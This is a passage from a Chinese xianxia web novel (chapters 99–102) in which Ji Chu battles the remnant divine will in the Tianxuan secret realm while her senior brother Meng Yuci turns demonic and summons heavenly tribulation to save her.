既然它把自己和钟离白连接起来,不能用剑砍,纪楚便想试试,能不能用千丝傀影反过去控制神族残念,让它放了钟离白。 这念头但凡是个正常人都不会有。 人人皆恐惧被神念所控,又有谁敢去想着控制神念呢? 纪楚不但想了,她还立马就去做。 借助神骨伪装自己的气息,千丝傀影毫无阻碍,直接扎进了云雾组成的“心脏”里。 但神的残念比她强得多。 只一接触,她便感觉自己的神魂被其隔空扼住,如同直视高悬天际的日月,刺得她眼前眩晕,几乎想要跪拜俯首。 她在心里告诉自己不能怯战。 神族已经没了,这些残念只是神族想要复生的执念,它们不是神,它们是想要夺舍无辜之人的邪魔。 ——她不该恐惧邪魔,更不该共情邪魔。 但…… 它却向她传达了它的那份不甘心。 不甘心就此消亡,不甘心被天道剿灭。 你们修士,为求长生,修行问道,如何不是逆天而行? 而你纪楚,不甘惨死,重生改命,你这一世,又取了多少原本未死之人的性命?! 我们只是想活,何错之有?! 第99章 “你不想活吗?” “纪楚,你不想活吗?” 神族残念一声声质问,裹挟着无法抗拒的神压,朝着她的神魂倾轧而来。 分明傀影丝只连着一个“卵”的“心脏”,她却在那一瞬间触碰到了无数个不甘的灵魂。 “二世弑神,你真以为,只靠着一柄剑,便能逆天改命,全身而退吗?” “天真!” “你可知你为何不受神骨所困,不受魔气所扰,甚至还能反压吾之神力?因为你将与吾神族同亡,你前生如何结束,今生亦然!” “天道已定你之死局!” 话音落,纪楚眼前忽而展开一幕幕场景。 她漆黑的瞳孔清晰地映出自己的死局。 雷劫之下,万物归于天地。 …… 前世她死后,是师兄代替她引了雷劫毁了天璇秘境。 但因为少了她这样一个可以压制神念的存在,所以那些被控制的修士一个也没能救下来,全死了…… 这一次,她在这里。 若她想用自己的神魂将神族残念压制,虽然可以救下其他人,却必须将雷劫引到自己身上,九死无生。 头顶已有劫云汇聚。 选择权就在她手里,是继续吞噬神族残念,然后带着这些残念一起撞上即将到来的天雷,还是就此收手离开。 ——没有人会想死。 她努力了这么久,也不是为了走到一个和前世一般无二的死亡结局。 她不想死…… 她已经蹉跎了一辈子,好不容易才将一切拉回正轨,好不容易才知道前世的真相,她还有很多事情想做,她还没有修成自己的剑道…… 原来这是末神、是众神族,掌握的最后一道保命符——人的向生之心。 钟离白的脸就在面前不远处,他头顶那颗“心脏”跳动着、不停质问着她: “你分明不甘心,你分明也知道被抛弃被毁灭的绝望,你怎能拦吾?!” 纪楚看着那跳动的“心脏”,一恍神,面前竟然出现了岑平的脸。 “我们本来就是一样的人!我们都被抛弃,都被伤害,是天道不公,是命运不公!” “你不恨吗?前世日日夜夜的痛苦折磨,你不恨吗?” “你不想让他们付出代价吗?!” “你还想再过一次这样的人生吗……吞噬所有的神念,你岂有存活之机?你又怎能保证自己不会入魔?你将会是众邪之首,人人得诛之!” 纪楚感觉头痛欲裂,下意识用力,那颗“心脏”便如同被人掐住一般,忽然停止了跳动,沿着傀影丝朝纪楚身上蔓延。 而纪楚牵扯着傀影丝的指尖却逐渐漫上乌黑魔气, 钟离白被她吓得半死,一迭声地大叫着: “纪楚?!纪楚你在干什么?!纪楚!!!” 下一刻,纪楚又松开了几分。 钟离白一口气上不来,又被那颗“心脏”控住,动弹不得,只能睁着眼睛紧张地看着纪楚的动作。 水面上电光雷鸣剑气魔气一直在闪,时不时便会传到水下。 一些“卵”孵化成功,里面包裹着的修士双目颜色褪去,逐渐变成赤金,反过头将剑刃对准了自己的同伴。 蒋成旭“飘”过来,他的状态看起来比钟离白和陈梧好上太多,甚至因为被困时间短,还能控制“卵”的移动。 他挑好角度,猛地朝着钟离白的方向一撞,将纪楚和钟离白撞到了一道劈下来的剑刃上。 钟离白的尖叫卡在嗓子眼里,眼睁睁看着那道剑刃迎面而下—— 然后擦着边缘而过,将一个偷袭纪楚的修士砍落。 “我来了——!” 许盈一剑劈下,周身法衣带着层亮闪闪的光,让她像颗掉进水里的宝石,和其他被光球包裹着的人都不一样,百邪不侵。 这层法衣一看便价值不菲,恐怕是拂宇仙宗压箱底的宝贝了。 还不等他们露出庆幸的神色,便见纪楚身上的傀影丝猝然根根崩断。 而纪楚则彻底松开手,放弃抵抗般,朝着水底缓缓沉了下去。 许盈匆忙转身想去捞她胳膊,却被突然涌上来的水流推开。 水底,无数道黑影攀附着纪楚的身躯而上,她很快就那漆黑的水流融为一体,彻底不见了。 * 周围的一切都安静下去,满脸震惊的钟离白、以及陈梧和蒋成旭担忧的目光都被她抛在越来越远的地方。 再往上,是师兄和末神。 纪楚眼前的一切都变得模糊而遥远。 然后她在黑暗中闭上了眼睛。 水流如温床,将她托着、笼罩着。 就这样吧…… 人想活,难道是错误吗? …… 一片静谧中,纪楚忽然听见师兄的声音: “纪楚,你在难过吗?” 水流也逐渐远去,周围安静无光,一片寒凉。 她觉得自己可能是睡着了,又或者是快死了。 这个认知让她心里更加难受了。 师兄还在岸上独自面对末神,她跳下水很是匆忙,本来是想尽快救人然后去帮忙的。 但是现在,她却不知道该怎么办了。 天道真是讨厌,若是要她去死,便直接动手就是了,何必让她自己来做这个决定呢?反倒让她的懦弱自私暴露无疑。 师兄的声音再度响起,沉静、淡然,像是同她讲解剑法一般耐心包容: “纪楚,无论你在想什么,都可以告诉我的。” 脸颊传来轻柔的触碰,冰凉的,从她眼角抚过: “纪楚,我在这里,你不要难过。” 纪楚强忍着的崩溃终于在师兄温柔至极的安抚中彻底爆发了。 “我不想死。到底谁会想死!” 她愤怒、绝望,却又不知道该如何发泄。 “我前世一辈子浑浑噩噩失败透顶,我带着仇恨和绝望重生回来,我怀疑恐惧甚至憎恨,我恨不得杀了所有人,如此才能平息我受的委屈!” “我当然知道,怨恨别人,怨恨世界,并不会让我的人生变好。所以睁开眼的时候,看到熟悉的人和事,我下定决心,这一世一定要好好过,要不留遗憾地过,绝对不能再走到前世的地步。” “可是现在,它却告诉我,我在痴心妄想!我所有的努力,就只是为了死得更体面一些!” 她因为激动而显得有些语无伦次,毕竟连她自己都不知道自己说出这些话来究竟是想要个什么样的答案。 她心里早已有了清晰的答案,却不甘心自己的性命被这样肆意摆弄。 “岑平骂我蠢,我生气。现在我觉得,原来我真是个蠢货!” “我不止一次想过,为什么会是我?为什么会是这个样子?为什么沈恪不能把我当成一个人来看待?为什么我经脉受伤,却没有一个人来帮我?为什么我要一无所知地背着个所谓的天命,被陷害被杀死?” “天道看似给了我选择,其实根本没有!” “它就是要我看清自己的真面目,看清自己如何懦弱,如何自私。难道我真的能眼睁睁看着钟离白去死吗?” “我不能……” “可是我动摇了,犹豫了,我没有资格指责末神。” 她越说越平静,到最后,声音已经十分低落,像是给自己判了死刑。 但很快她又开始后悔。 无论是因为一时冲动,又或者是因为无法描述清楚的报复心理,总之,她把这些阴暗消极的心思全都拿出来给师兄看,是为了什么呢? 难道是为了邀请师兄和她一起审判自己吗? 纪楚想不明白。 不过哭也哭了,发泄也发泄了,她感觉那种愤懑不甘终于不再是压在心口一块沉甸甸的石头了。 于是她道: “师兄不用说我也知道,这些想法都是不对的,有损道心。” “我该回去,回到我的命运中去。这是钟离白送我重生回来的时候,就已经定好的。” “我也想救下大家。” 孟喻辞平静地听完她所有的问题,没有顺着她的话说下去,而是淡淡反问一句: “为何不对?” 纪楚疑惑抬眸。 她此刻又像是左右脑互搏似的,开始批判起自己方才的一番长篇大论起来: “当然不对,修行修心,我不能因为怕死,就抗拒自己的使命,就放任无辜之人包括我的朋友被害,我不能这么自私……” 孟喻辞却道: “我也会怀疑,会质问,为什么要让我成为杀死同族的凶手,又为什么要让我成为最后一个被剩下的巫觋族人。” “纪楚,我也会害怕,会不甘,会想要报复一切。” “我也想活。” “而且,我想和你一起活。” 纪楚一愣,听见师兄如雪般寒凉清冷的声音: “纪楚,你不要回去,留下来,好吗?” 师兄的声音像是有魔力一般,引着她一点点平静下来。 她甚至生出一种念头:连师兄都这样说了,所以她没有错,她大可以抛弃一切,既然想活,那活就是了。 她何必要去痛苦呢? 但心里同时还有另一道声音,告诉她不能。 不是为了顺应所谓的命运,是因为她也有需要为其付出一切的东西。 黑暗中,纪楚感觉师兄冰凉的指尖轻触着她的脸,描绘她的眉眼,划过她唇瓣,最后揽过她脖颈,将她压在了自己胸前。 “无论是天命,还是人心,我都不想让你离开。” “我已经错过一次,不能再错了。” “师兄?” 纪楚察觉到一点微妙的不对劲,她下意识想推开师兄,但箍在她身后的手臂却坚实有力难以挣脱。 鼻尖是熟悉的冷香。 这是师兄…… 她没有认错,这分明就是师兄…… 可是师兄怎么会…… 一个念头在她心里缓缓成形,她的呼吸几乎停滞,浑身僵硬不敢动,抬头看向抱着她的这个人,连声音都在发颤: “师兄……你不是在外面吗?” 师兄却轻笑一声。 他开口,声音在寂静无比的空间里显得清幽鬼魅,在她耳边低声道: “我会保护好你。” “他,也是这么想的。” 几乎是在他说出这句话的同时,天璇秘境中,一道横贯天际的闪电划过半空,冷刀一般,在众人眼中割开一条难以消散的惨白冷光。 “金仙雷劫?” “孟师兄,他要在这里历劫吗?” “他疯了吗?!!!” 第100章 孟喻辞很清楚,天璇秘境是个死局。 唯一能吞噬并阻止神族残念夺舍修士的人,是纪楚;可若是她真的如此做了,就得和神族一起死。 天道将这一局压在纪楚身上,是在利用她的善良正义,逼她主动赴死。 可是凭什么? 凭什么连着两世,都要他眼睁睁看着她死在自己面前? 为了救修真界? 他在心里冷笑。 没有纪楚的修真界,救下来又有什么意思呢? 他已经经历过一次失去纪楚的痛苦了,人心生魔,救与不救又能如何呢? 更何况,需要拿纪楚的命去救。 他不想救。 他从来都不是什么无私的人,他也有私心,他也有绝对不能放弃的人。 过去,纪楚想怎样都行。 她想抢神骨,想杀无着尊者,想利用自己的特殊去给前世的自己报仇,他都可以帮她。 可如今,不行。 从见到前世的自己的那一刻,他心里就已经有了选择。 他要保住纪楚。 没有人的命能比纪楚珍贵,哪怕是他自己。 他必须要保住纪楚! 劫云在他头顶汇聚。 他的目光落到面前的水下,纪楚跳下去救人的时候他没有阻止,因为他知道另一个“他”会拦着纪楚。 从一开始,前世的“他”的出现,就是要逼他去替纪楚去死的。 “他”恨着自己的无能为力,因而越发偏执极端,宁可连自己的性命都算计进去,也要换来纪楚的生。 但他没有阻止,因为他能理解前世那个自己的绝望和愤恨。 为什么前世死的不是他,而是纪楚呢? 为什么天道算计来算计去,却一定要死一个纪楚呢? 前世的他,只是一开始慢了一步,从此便再也逆不了天命。 无法保护纪楚,无法阻止纪楚,甚至到了最后,也无法救下纪楚,只能眼睁睁看着她赴死…… 叫他如何能忍受这些场景重来一次? 他本想帮她得到想要的一切,本想助她打败末神救下所有人,如今却只能亲自动手阻止她。 只是这样做,对纪楚而言,便是他言而无信、欺瞒于她了。 也许她会恨他吧…… 她终于还是要恨他了。 孟喻辞心想。 就算恨他,也没关系。 只要她活着。 他会帮她解决掉所有的麻烦,不会再有人威胁她、伤害她,她可以修她想修的剑道,成为她想成为的人。 而她对自己也没有太深的感情,她迟早会放下这一切,去追求她想要的生活。 只是一想到那种生活里没有他,甚至可能还会有其他人陪着她、触碰她拥抱亲吻她,他心里就控制不住地生出一股隐隐的暴虐,促使着他想要不管不顾把她带走,再也不管这里的一切…… …… 孟喻辞最终还是收回了视线。 前世的他已经试过,只靠金仙雷劫,尚不够将这个秘境毁掉。 ——他得成魔。 杀身成魔的天雷,加上以魔身渡金仙的雷劫,足以引起天道震怒,届时的雷劫,应该是足够了。 寒冰在地面汇聚,映出冰下的黑影。 那黑影并不似寻常魔气一般混沌难辨,反倒沉静淡漠,一双与他如出一辙的眸子泛着了然的冷意。 “你想好了吗?” 黑影——前世的孟喻辞开口: “这一世你已很好地压制了灵力,完全有机会避开这一劫。一旦入魔,纵使侥幸留得性命,也从此再难回头。” “他”并不是在劝阻他。 “他”即是他,这个世界上,他最懂自己,最懂纪楚对自己的重要性。 如此一问,并不是劝阻,而是在确认。 确认前世今生,两世之心,一如既往。 孟喻辞神色不变,以行动代替回答。 少微剑出鞘,剑刃寒光凌冽,骤然砸向冰面。 他第一次,对成魔没有任何抗拒和恐惧。 正如纪楚所说,无论是魔,还是仙,都只是个名头而已,丝毫不会影响他要做的事,更不会动摇他的心。 魔气附上他的身体,这份属于前世的自己的心魔对他而言是如此熟悉,每一道思绪、每一次呼吸,上面全都一笔一划写着纪楚的名字、刻着纪楚的眉眼。 前世今生两重记忆混杂在一起。 一会儿是前世的纪楚,她受了伤,躲在暗处伤心,看见他的一瞬间目光变得警惕而疏离; 一会儿是这一世的纪楚,双目明亮,拿着一柄剑舞得神采奕奕,向他展示自己又学会了一招剑法…… 红痕漫上他的眼尾,让他本就清冷疏寒的眉眼生出几分妖异的莫测。 劫云已经将半个天空都染成了黑色,竟然还在不断汇聚。 整个秘境都被这片巨大的劫云遮挡严实了,入目所及昏暗阴沉,不见天日。 而那片劫云并未停止膨胀的速度,还在膨胀加厚,雷电如同云中翻滚不休的银龙,呼号嘶吼,杀意腾腾,仿佛天道盛怒,正在酝酿着足以毁天灭地的惩罚。 只是看了一眼那正在劫云中间不断翻滚的雷光,许盈就已经幻觉牙疼。 她上次见到雷劫还是和纪楚一起升臻境时,那会儿她就已经觉得足够恐怖了。 三个臻境修士引来的天雷,足以将拂宇仙宗的山头劈成残渣。 若非是有应元丹加持,还有好心人帮忙护法,他们三个应该会被劈成焦炭。 她忍不住问蒋成旭: “金仙雷劫这么恐怖吗?这真的是人能抗住的吗?” “不止金仙雷劫。” 蒋成旭望着天边劫云,表情是前所未有的凝重: “还有诛魔雷劫。” “什么意思?” 许盈乐观地想: “是天道知晓末神作祟,来除魔了吗?” 蒋成旭看向她,表情古怪: “天道早知神族如此,要除魔早就除了,怎会等到今日。” 许盈表情更加困惑: “这又是什么意思?” 她不耐烦: “这都什么时候了你还在当谜语人,说话怎么老说一半!” 陈梧被捂着嘴不能说话,闻言也是一脸不解。 “不是末神……” 旁边传来一道虚弱的声音。 许盈和蒋成旭顺着声音看过去,陈梧整个人无法行动,也将眼珠子挪过去。 只见钟离白捧着四方罗盘,双手颤抖,罗盘上的指针疯狂转动,仿佛下一刻要带着他螺旋升天。 他目露惊恐,又喃喃重复了一遍: “不是末神……不是末神……” 许盈个暴脾气最受不了别人说话说一半,蒋成旭她就忍了,这钟离白,先前在枉死城的时候就神神叨叨看着不大靠谱,如今更是跟中了邪一样只会说这一句话。 她忍无可忍,一拳砸在包裹着钟离白的光球上,将他打的原地在水里翻了个个。 “到底是什么?!” 钟离白在陈梧和蒋成旭担忧的目光中翻滚了一圈,又转回了原位。 他头晕眼花,无声干呕了几下,这才道: “是孟师兄,他要入魔!” “这天雷,是劈孟师兄的!” “原来是这样,原来是这样!” 他面色癫狂,宛如人界苦读数十载骤然一夕高中的举子,若不是被光球困着,许盈几人毫不怀疑他会披头跣足上街发疯。 这副样子连许盈都不敢再动手锤他了。 于是拂宇仙宗的三个人便沉默着看着钟离白发疯,一会儿说什么“前世竟是这样解决的末神”,一会儿又说什么“早知如此便不该让纪楚掺和进来”。 许盈看了一眼蒋成旭: “你看着他们,我先下去找纪楚……” 蒋成旭还未回答,一直沉浸在自己世界中的钟离白忽然一个激灵,大喊道: “不行!” 许盈被他吓了一跳,随后怒斥道: “你敢拦我?!纪楚可是为了救你才会掉下去的!” “所以更不能让她回来。” 钟离白抬头,看向头顶那颗一直跳动着的“心脏”,喃喃道: “不能让她替我们去死……” * 纪楚深吸了一口气,告诉自己要冷静。 “师兄,你不能这样,现在还没到最后一步,我们还可以再想办法的。” 既然已经被纪楚发现,孟喻辞便不再掩饰他身上的魔气。 乌瞳幽深,墨发如瀑,寒冰投下一层森冷幽蓝的光,流光转动,在他冷白的面容上映下一片莫测难辨的阴影。 略微上扬的眼尾勾出一抹红,给他平添了几分诡谲妖异之色。 纪楚已经很久没有想起前世的师兄了。 她先前所说并非搪塞,而是因为在她眼中,自己前世确实和师兄关系一般,甚至是朝着恶化的方向发展的。 所以她从来都没想过,师兄会喜欢她。 她更没有想过,师兄会入魔,会生出执念和心魔……竟然是因为她? 所以她前两次在梦里见到的师兄,都是前世的师兄? 这事儿师兄知道吗? 应该是知道的,不然他也不会露出一副生气但却无法解释的样子了…… 直到如今,纪楚仍觉得这是荒诞的离奇的不可思议的,毕竟她能重生就已经够离谱了,前世的师兄竟然和这一世的师兄合起伙来骗她,简直是匪夷所思闻所未闻—— 他们是疯了吗? 不对。 师兄他是疯了吗? “我是疯了。” 师兄冰凉的指尖轻触她的脸颊,不是往日带着安抚意味的触碰,而是压抑着颤抖的靠近: “纪楚,我很后悔。” 清冷沉寂的声线里藏着抑制不住的痛苦: “我后悔当日没能及时出关救你,后悔之后每一次见你,没能向你表明心意。我最后悔的,还是那日山下,没能留住你……” 纪楚皱眉: “师兄,你在说什么啊?你先把我放开——” 放在她脸侧的那只手猝然揽住她脖颈,将她上半身带着朝他靠近。 他的目光锁在她脸上,透过那双寒潭似的眸子,纪楚第一次清晰地看见寂静潭底涌动着的疯狂和绝望。 那些被他死死压抑着的苦痛和恋慕隔着两世,终于得以向她尽数展露。 她一下子感到茫然无措。 绕在她身上的魔气将她死死绑在床边,浑身动弹不得,上半身却被师兄压着朝他靠近。 她能感觉到他的指尖按在后颈的空羽浮花上反复摩挲。 这动作分明和今生的师兄如出一辙,面前的这个师兄却偏要问她: “纪楚,你怎能将我视作过往云烟,说扔就扔?”【`xs.c`o`m 网】 第101章【VIP】 第101章 面对师兄的质问,纪楚心里首先冒出来的却是很早之前,她刚开始修炼时曾在入门心法上看到的一句话。 “心魔者,心中之爱欲、仇恨、贪念、妄念……凡不可忘、不可得、不可舍之执念,日夜受其所困,而成心魔。” 往日她总记不住这些东西,还是后来师兄每日提问,才叫她艰难地背了几遍。 如今这句话倏忽从她的记忆里冒出来,反倒让她生出了一种“原来如此”的怅惘。 饶是她再迟钝,也不会再误以为,前世的师兄对她是“毁他清白和道心”的“仇恨”了。 只是前尘往事虽历历在目,却到底还是因重生而覆盖上了另一层影子。 她本来是觉得,自己很对不起师兄的。 师兄前世从未伤害过她,只是因为最后那一剑,她便一直记恨着他。 如今知晓了那一剑的真相,她也渐渐能理解师兄与她最后一次见面时的失望和绝望。 所以她一直觉得,自己欠师兄一个道歉。 她甚至想过,倘若早知道师兄有心结,早知道师兄会入魔,前世,她还会不会走的那样干脆? 应该是不会的。 人若知晓世间还有人念着、牵挂着自己,总不会绝情到一句话都不留就去送死的。 纪楚抬眼,认真去看近在咫尺的师兄。 他身上带了魔气,却仍疏冷清寒,似难折之竹、淬冰之剑,于原有的淡漠之间更添几分冷戾。 她于是很轻易就想起了前世的时候。 “其实……” 纪楚忽然开口: “我也有点后悔。” 孟喻辞神情微顿。 “师兄还记得吗?” 纪楚却道: “你第一次发现我会千丝傀影的时候,曾经质问我为何要练此邪术。” “那时我说,因为我本就是一个恶毒卑劣、心术不正的人。” 孟喻辞垂眸,松开箍着她后颈的手,与她拉开一些距离。 与纪楚的每一次接触,他都已在脑海中回忆了千遍万遍。 这件事,他又怎会不记得? 他那时十分担心纪楚,怕她从此一蹶不振,更怕她心绪有损,走了歪路。 或许是越怕什么越容易来什么,竟叫他看见纪楚用千丝傀影伤人一幕。 对方是个邪修,纪楚修为不足,又不知宗门之外多的是腌臜手段,虽然用千丝傀影占了上风,却不知对方就在等她暴露神魂,好一并毁去。 他出手了结了那邪修,怒斥纪楚不该修此邪术,却被回怼一句: “经脉已损,为何不能另寻自保之法?难道要我白白等死?” 此事到底因他而起,他没有立场指责,只能劝阻: “那你也不该以此邪术自保,你可以……” 然而他话未说完, 便被纪楚打断: “况且宗门上下人尽皆知,我本就是一个恶毒卑劣、心术不正的人,修炼邪术,再正常不过。” 她素日不愿与他多言,每每相见,多是沉默逃避,任由流言在沈恪的有意推动下攻讦于她。 他只是没想到,她竟会如此形容自己。 恍惚间,忆起多年之前,族人惨死,神魔质问之下,他也曾怀疑过:自己虽握诛恶之剑,却实实在在是个众恶之首,并无坚持下去的缘由。 可纪楚不该这样! 他第一次见到她那日,她砸开结界,于一线天光之间展露锋芒,分明灼灼风华、熠熠生光,又怎会有如此这般自暴自弃的想法? 一时气动,失了冷静之心,忍不住质问于她: “你究竟是谁,自己还不清楚吗?需要从别人口中得知?” 彼时纪楚神色诧异,又听见他冷声道: “你是什么人,也当由你亲口告诉我、亲自展示给我看。” …… 之后纪楚鲜少再用邪术,更是处处避着他不肯碰面,这番对话便被压在了与她有关的记忆的最底下,轻易不会翻找出来。 像片偶然捡起的叶子,多年以后捧在手中,才发现原来早已窥见当日彼此的心事。 她曾困苦自囚,拷问内心,他又何尝不是? 而如今,时隔难以跨越的两世时光,纪楚却旧事重提,再一次将那当时无法回答的问题拿出来,正式回应: “师兄,我撒谎了。” 她用了很长一段时间,终于意识到自己当时的回答赌气多过认真,颓唐多过坚定,全是不负责任的胡言乱语。 她要重新回答: “我才不是恶毒卑劣、心术不正的人。” “我不会以自保之名害人,我更不会见死不救、推卸责任。” 孟喻辞想要起身后退,却忽的被她伸手攥住衣襟。 他一愣,不知她何时挣脱了魔气。 纪楚已经站了起来,仰着头看他,却好像在居高临下俯视他一样,双目灼灼似韶华,里面的明亮的热烈的火焰几乎要烫伤他。 “我不要任何人替我去死,更不要师兄为我入魔。” “我既然能活着站在这里,我就敢去面对我的命运,不需要师兄替我安排!” 她话音落,原本困在她周身的魔气猝然消失。 师兄本就心软,没有下重手,这么一点魔气,她分分钟就吞干净了。 她才不怕魔气影响自己的经脉或者是修行,因为她要去干一件比吞噬魔气更疯狂的事情。 ——她要把上面那些神族残念全吞了。 在此之前,面前的师兄,就是她必须要解决的人。 寻真剑与魔气相撞。 “师兄,你为什么不用少微剑?你分明用不惯魔气。” 孟喻辞不语,像是头一次认识她似的,黑漆漆的眸子望着她,没有回答,只目光在她脸上逡巡。 这不是她第一次对他动手。 他忽然意识到。 纪楚其实一直都是那个敢拿琴砸禁地结界的人。 她只是偶尔失落,偶尔蛰伏,最终还是会变回原本的样子,不可阻挡,不可退缩。 他拦不住她。 从头到尾,只是他在不甘心。 纪楚用剑气绞住魔气。 师兄虽然入魔,但他的魔气并不像薛羡尘那样充满攻击性,反倒更像一个装饰品。 起码在纪楚看来,师兄除了造型有点阴郁以外,别的地方和魔完全不沾边。 他还是那个更擅剑道的师兄。 一剑气一魔气互相碰撞,一人要走一人要拦,这场景反倒有点像前世重现。 只不过,前世纪楚用的魔气,师兄用的剑气,如今却是颠倒过来了。 纪楚想到这里,忽然有点想笑。 她没有躲开魔气,而是挥剑朝着天穹而去,长剑银光飒飒,斩向头顶的寒冰。 冰裂如山石崩塌,一条长而弯曲的缝隙自剑刃处蜿蜒而下,雷声哄鸣,自裂痕外钻了进来,得以窥见外面的危机重重。 金仙雷劫,还是成魔雷劫? 纪楚本该直接冲出去,但鬼使神差的,她回头看了一眼师兄。 他衣摆下牵着黑气漫漫,一直延伸到黑暗深处,让他整个人都好像一重映在冰上的影子。 黑气的另一头,连着他自己。 他从一开始,就是打算放弃他自己的。 孟喻辞在纪楚撞上魔气的前一刻蓦地收手。 无论是前世还是今生,他都不会伤她。 所以老天便一而再再而三地惩罚他,要他次次看着她的背影而无能为力。 此时此刻,恰如彼时彼刻。 一模一样。 他长身玉立,五官被半明半暗的魔气挡住,神色在阴影中看不清晰。 雷声轰鸣,从头顶的缝隙传来,近的像是冲着他来的。 “那些人,难道比你的命还重要吗?” “当然不是。” 纪楚回身看向他。 她自是没把握打赢师兄,更何况是入魔后更加莫测难辨的师兄。 之所以拔剑,只是为了表明自己的态度,让师兄主动收手。 但现在师兄收了手,她却没有像前世一样立即离开。 “我只是觉得我该去做,而不是在衡量人命贵贱。” 纪楚说着笑了一下,眼里多了几分亮晶晶的光,像星星: “更何况,师兄也在那里。” 孟喻辞一时间竟有些不敢看她那双笑意盈盈的眸子。 但他又舍不得移开视线,于是只能看着她,任由她眼里的光将自己的瞳孔刺得生疼。 那一片明媚漂亮的光里,没有他的影子。 他望着她,眼里全是痛苦: “他是自愿的……我是自愿的,你为什么不愿意?” 他的声音低沉压抑,像是无助的质问,像是喘不上气的挣扎: “为什么每一次,你都会选择抛弃我?” 纪楚看着他一点点消散的身影,拧眉。 下一刻,她收起剑,忽然冲过来,一把抱住了他。 她跑来的速度太快,带起了一阵风,将绕在孟喻辞周围的魔气都冲散开来。 然后她趴在他耳边,开口,呼吸带着温暖的热意,每一个字都砸在他心上。 “师兄,我没有抛弃你,我是要去找你。” “这一次,就让我们一起吧。” * 水里,钟离白抱着罗盘不说话。 许盈只好看向蒋成旭。 蒋成旭摇头: “成魔雷劫加金仙雷劫,孟师兄能不能渡过还未可知,但我们肯定撑不住。” “你是说我们死定了?” 蒋成旭点头,又摇头: “孟师兄这么做,应该是想把秘境和神族残念一起劈了。我们现在被困在神族残念里出不去,你身上的法器能撑得过一时,却未必能一直安然无恙。钟离白刚刚说,末神背后是出口,所以我觉得……” “你想说你们死定了,让我赶紧走?” 许盈恶狠狠地瞪了他一眼: “少放屁!我不走!” 她抬头看向头顶的雷云: “姑奶奶又不是没被天雷劈过,我会怕这个?” 她话音刚落,一道闪电猝然划过天际,将已经变得昏暗无比的天穹照得透亮。 许盈下意识闭了下眼睛。 一切只在瞬息之间,雷声炸响,如万钧重担猝然坠落,直直压向劫云中央的那道身影,杀气腾腾。 电闪雷鸣的中心,孟喻辞漠然静坐,面如冠玉,气度若雪。 魔气在他眉眼间萦绕不散,甚至还在不断扩大,朝着雷云盘旋而上,似在挑衅。 少微剑剑气化形,在他周身列出剑阵,挡下这来势汹汹的第一道天雷。 雷声落,硝烟起,整个天璇秘境如遭重击,猛得一颤。 末神硕大的眼珠子盯着孟喻辞的方向——这还是它从岑平身上抢来的。 神族不为天道所容,只能在这处由神界碎片化成的秘境中存活。 要想离开秘境,就得拥有身体。 原本它想附身孟喻辞,奈何无果,神骨又被纪楚吞噬,它只能退而求其次,选了这个连神力都没有的所谓“化蛇血脉”。 但岑平到底还是个废物,蛇身人身具被毁坏,只剩这一只眼珠子还能使用。 天雷之下,寸草不留,万物倾覆。 金仙雷劫已是重中之重,再加上成魔雷劫,没有生灵可以从中逃脱。 末神虽恼怒,但更多却是嘲弄: “雷劫虽凶,亦难断吾神脉,不过徒劳!” 神族残念延续至今,又岂是几道天雷可以劈毁的? 无知之人,自以为杀尽秘境生灵,便可阻止夺舍。 简直天真! 不过一躯壳尔! 半空中的金色眼珠子身后打开一道口子,试图送已经夺舍成功的修士出去。 孟喻辞面无表情地看着半空中的末神,如同在看一个死物。 少微剑收阵合影,剑刃森冷,直指末神方向。 如此,他便直接暴露在天雷之下。 身下寒冰却忽而一颤,裂开一道极小的口子。 有黑影自下蔓延而上,却并不寒冷,反倒被一股平和宁静的气息包裹着。 两道气息在他身上重叠,最终合二为一。 第二道天雷已高悬半空,电闪雷鸣之中,他感觉到纪楚抱着他的脖子,呼吸浅浅,附在他耳畔轻语: “师兄,我们一起。”—— 作者有话说:前世师兄视角应该会补充到番外([鸽子]の思索)【`xs.c`o`m 网】 第102章【终章】 只是第一道天雷,竟然已经如此凶猛,简直像是要把秘境都压碎一般。 承载着众多“卵”的河流也被这道剧烈的冲击力撞得晃动不休。 水面上下翻腾,许盈几个人也在水中左支右绌、难以平衡。 “怎么办怎么办?你们为什么都不说话啊?” 许盈着急起来。 她看着沉默不语的蒋成旭、老神在在坦然等死的钟离白,还有一个修为太低连张嘴说话都做不到的陈梧,顿觉人生一点指望都没有。 再看向四周,有人放弃自我,选择与神族合作;也有人沉默以对,既无法掌控自我生死,却也不愿就此成为神族躯壳。 许盈捏紧了拳头。 她猛地转向钟离白: “算命的!” 钟离白疑惑看向她。 许盈拔出剑: “你确定,只要孟师兄能把这些神劈了,哪怕我们今天都死了,纪楚也能活?以后不会再有什么末神尊者之类的要害她?” 钟离白迟疑道:“应该是吧……” “我不要听应该!” 许盈将未出鞘的长剑架在他身上的光球上,语带威胁: “你给我保证。” 钟离白下意识朝后缩了缩,但他被困着,并不能躲开。 于是他低头看了一眼手中的罗盘,随后顶着许盈恶狠狠的目光郑重点头: “我保证,此劫过后,纪楚一定能活。” 得到肯定的答案,许盈放下剑。 她检查了一下自己身上的防护法器,转身就要朝着雷云滚滚的方向走去。 蒋成旭忙叫住她: “许盈!你干什么?” 许盈回头,看他一眼,神色中没有方才的烦躁和着急,又恢复了往日那个明丽张扬的剑修模样: “来沧州前,你们把防身法器全给了我,但我不打算独活。” 她拔出长剑,随手将剑鞘一抛。 那精致的剑鞘便随着水流被冲走了。 丹雨无鞘,是为再无后路。 许盈看向末神的方向: “现在,作为唯一一个还能自由行动的人,我决定去帮孟师兄,救下纪楚!” “至于你们三个……” 她扫视一圈蒋成旭钟离白和陈梧三人,眼里带着点嫌弃: “尽量多活一会儿,别死太快了。” 说完,明艳似朝阳的女子头也不回地朝着天上那颗金色眼睛的方向冲了过去。 “许盈!” 蒋成旭盯着她的背影,目眦欲裂。 迟早都会死是一回事,眼看着她去送死却是另一回事。 他不怕死,却怕自己不能陪在许盈身边。 这神念……这该死的困住他的神念…… 蒋成旭身上灵力骤然暴涨,试图挣脱出去,却被神念死死压着,眼看就要有走火入魔之兆。 钟离白在旁边隔空安抚: “不是,你先别急啊,你得冷静啊……” 蒋成旭充耳不闻,目光只盯着许盈离开的方向。 他头顶的“心脏”终于找到了空子,以飞快的速度挤压他的神魂,光球向内回收,金光笼罩,魔气暗生。 下一刻,忽然有丝丝缕缕的傀影丝缠绕而上,破开魔气,直入“心脏”内部,由内而外生长不止,最终将其完全包裹。 蒋成旭身上的魔气被压住,双目恢复清明。 钟离白睁大了眼睛,惊呼出声: “纪楚?!” 四下却不见纪楚的身影,唯有傀影丝散于无边水面,将每一个包裹着修士的神族残念围困。 